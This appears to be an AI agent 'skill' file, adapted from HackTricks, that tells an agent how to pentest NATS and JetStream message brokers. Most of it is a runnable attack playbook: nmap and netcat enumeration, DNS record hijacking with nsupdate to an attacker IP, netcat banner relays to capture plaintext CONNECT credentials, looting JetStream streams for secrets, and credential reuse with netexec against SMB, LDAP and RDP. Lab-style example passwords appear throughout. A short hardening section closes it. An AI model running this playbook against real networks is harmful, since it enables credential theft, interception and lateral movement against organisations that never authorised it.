Hacktricks-skills nats-pentesting
Pentest NATS message bus and JetStream services. Use this skill whenever you need to enumerate, exploit, or assess NATS servers (port 4222/tcp), capture credentials via DNS hijacking, loot JetStream streams for secrets, or harden NATS deployments. Trigger this skill for any NATS-related security testing, credential harvesting, or message broker assessment tasks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/4222-pentesting-nats/SKILL.MDNATS / JetStream Pentesting
A skill for security testing NATS message bus and JetStream persistence layers. NATS is a high-performance message broker that often runs with plaintext authentication, making it a valuable target for credential theft and lateral movement.
Quick Start
# Check if NATS is running and grab the banner echo | nc TARGET 4222 # If auth is required, you'll see: -ERR 'Authorization Violation' # The INFO banner reveals: version, auth_required, jetstream, max_payload
Enumeration
1. Service Discovery
Use nmap to identify NATS services and extract version info:
nmap -p4222 -sV --script banner TARGET
Expected output:
4222/tcp open nats NATS.io gnatsd 2.11.3 | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
Key banner fields to note:
: true/false - whether credentials are neededauth_required
: true/false - persistence layer enabledjetstream
: true/false - encryption enforcedtls_required
: max message size in bytesmax_payload
: NATS server version (check for known CVEs)version
2. Manual Banner Grabbing
echo | nc HOST 4222
This returns the INFO frame. If authentication is required, you'll immediately see
-ERR 'Authorization Violation' after the banner.
3. NATS CLI Setup
Install the official CLI for deeper interaction (requires Go ≥1.21):
go install github.com/nats-io/natscli/nats@latest
Test connectivity:
nats -s nats://HOST:4222 rtt
If authentication is required, you'll get
nats: Authorization Violation until you provide valid credentials.
Credential Capture
DNS Hijacking Attack
NATS clients connect to broker hostnames. If you can control DNS records, you can intercept credentials:
Prerequisites:
- Low-privileged domain user with DNS update permissions
- Stale or missing DNS record for the NATS broker hostname
Attack flow:
-
Identify the broker hostname (e.g.,
)nats-svc.domain.local -
Verify the record is stale or missing:
nslookup nats-svc.domain.local # Should return NXDOMAIN or point to wrong IP -
Register the hostname to your attacker IP:
nsupdate > server DC_IP > update add nats-svc.domain.local 60 A ATTACKER_IP > send -
Capture the legitimate banner once:
nc REAL_NATS 4222 | head -1 > banner.txt -
Replay the banner to connecting clients:
cat banner.txt | nc -lnvp 4222Or for a live relay:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222 -
Harvest credentials: When clients connect, they send a plaintext
frame:CONNECTCONNECT {"user":"USERNAME","pass":"PASSWORD","verbose":false,"pedantic":false,"protocol":1,"client_id":"..."}
Advanced credential capture:
For longer engagements, run a local NATS server with TRACE logging:
git clone https://github.com/nats-io/nats-server cd nats-server go build ./nats-server -DV # -D for debug, -V for trace
TRACE logs show usernames; remove redaction or use Wireshark to capture full passwords.
JetStream Looting
Once you have credentials, explore JetStream for stored secrets:
1. Configure CLI Context
nats context add <name> -s nats://HOST:4222 --user USERNAME --password PASSWORD
Example:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
2. Enumerate Streams
# Check account info nats account info --context <name> # List all streams nats stream list --context <name> # Get stream details nats stream info <stream_name> --context <name> # View stream contents nats stream view <stream_name> --context <name>
3. Hunt for Secrets
Common stream names that may contain credentials:
auth_logslogs.authauthenticationcredentialssecretsapi_keys
Look for JSON payloads with plaintext credentials:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
4. Credential Reuse
Extracted credentials can be tested against other services:
# SMB/Kerberos netexec smb DC01 -u USER -p PASS -k # LDAP netexec ldap DC01 -u USER -p PASS -k # RDP netexec rdp DC01 -u USER -p PASS -k
Exploitation Patterns
Pattern 1: Banner Grab → DNS Hijack → Credential Theft
- Identify NATS broker hostname from network enumeration
- Check if DNS record is stale or missing
- Register hostname to attacker IP
- Relay banner and capture CONNECT frames
- Extract credentials from plaintext CONNECT messages
Pattern 2: Known Credentials → JetStream Looting
- Use existing credentials to connect to NATS
- List all JetStream streams
- Search for streams containing auth logs or secrets
- Extract plaintext credentials from message payloads
- Pivot to other services using harvested credentials
Pattern 3: Unauthenticated Access → Data Exfiltration
If
auth_required: false in the banner:
# Subscribe to all subjects nats sub "*" --context <name> # Publish test messages nats pub test.subject "Hello NATS" # View all streams without auth nats stream list
Hardening Recommendations
Server Configuration
-
Enforce TLS:
# In nats-server.conf tls { cert: /path/to/cert.pem key: /path/to/key.pem } # Or require TLS tls { cert: /path/to/cert.pem key: /path/to/key.pem verify: true } -
Use mTLS with nkeys:
# Generate nkey pair nats server nkey gen # Configure server to require nkey authentication -
Disable credential logging:
- Scrub secrets before publishing to subjects
- Set JetStream retention limits
- Apply
only to trusted operatorsdeny_delete=false
Network Security
-
Pinpoint DNS update permissions:
- Delegate service records to dedicated accounts
- Audit Event IDs 257/252 for high-value hostnames
- Enable scavenging alerts for missing broker names
-
Monitor for anomalies:
- Repeated short-lived connections
- Authentication timeouts
- INFO banners that don't match the blessed template
-
Network segmentation:
- Isolate NATS brokers from untrusted networks
- Use firewalls to restrict access to port 4222
- Implement network-level authentication
Common Vulnerabilities
| Vulnerability | Description | Impact |
|---|---|---|
| Plaintext AUTH | Credentials sent unencrypted | Credential theft |
| DNS Hijacking | Stale records allow impersonation | Man-in-the-middle |
| JetStream Logging | Secrets stored in streams | Data exfiltration |
| No TLS | All traffic visible on network | Full traffic capture |
| Weak Credentials | Simple passwords in CONNECT frames | Brute force success |
Tools Reference
| Tool | Purpose | Command |
|---|---|---|
| nmap | Service discovery | |
| nc | Banner grabbing | `echo \ |
| nats CLI | Full interaction | |
| nsupdate | DNS manipulation | interactive mode |
| netexec | Credential testing | |
Example Workflow
# Step 1: Discover NATS service nmap -p4222 -sV --script banner 10.10.10.50 # Step 2: Grab banner manually echo | nc 10.10.10.50 4222 # INFO {"auth_required":true,"jetstream":true,...} # Step 3: Check DNS for broker hostname nslookup nats-svc.domain.local # NXDOMAIN - opportunity for hijack! # Step 4: Register DNS record nsupdate > server 10.10.10.5 > update add nats-svc.domain.local 60 A 10.10.14.5 > send # Step 5: Capture credentials cat banner.txt | nc -lnvp 4222 # Wait for client connection, capture CONNECT frame # Step 6: Use credentials on JetStream nats context add mirage -s nats://10.10.10.50:4222 --user captured_user --password 'captured_pass' nats stream list --context mirage nats stream view auth_logs --context mirage # Step 7: Pivot with harvested credentials netexec smb dc01.domain.local -u david.jjackson -p 'pN8kQmn6b86!1234@' -k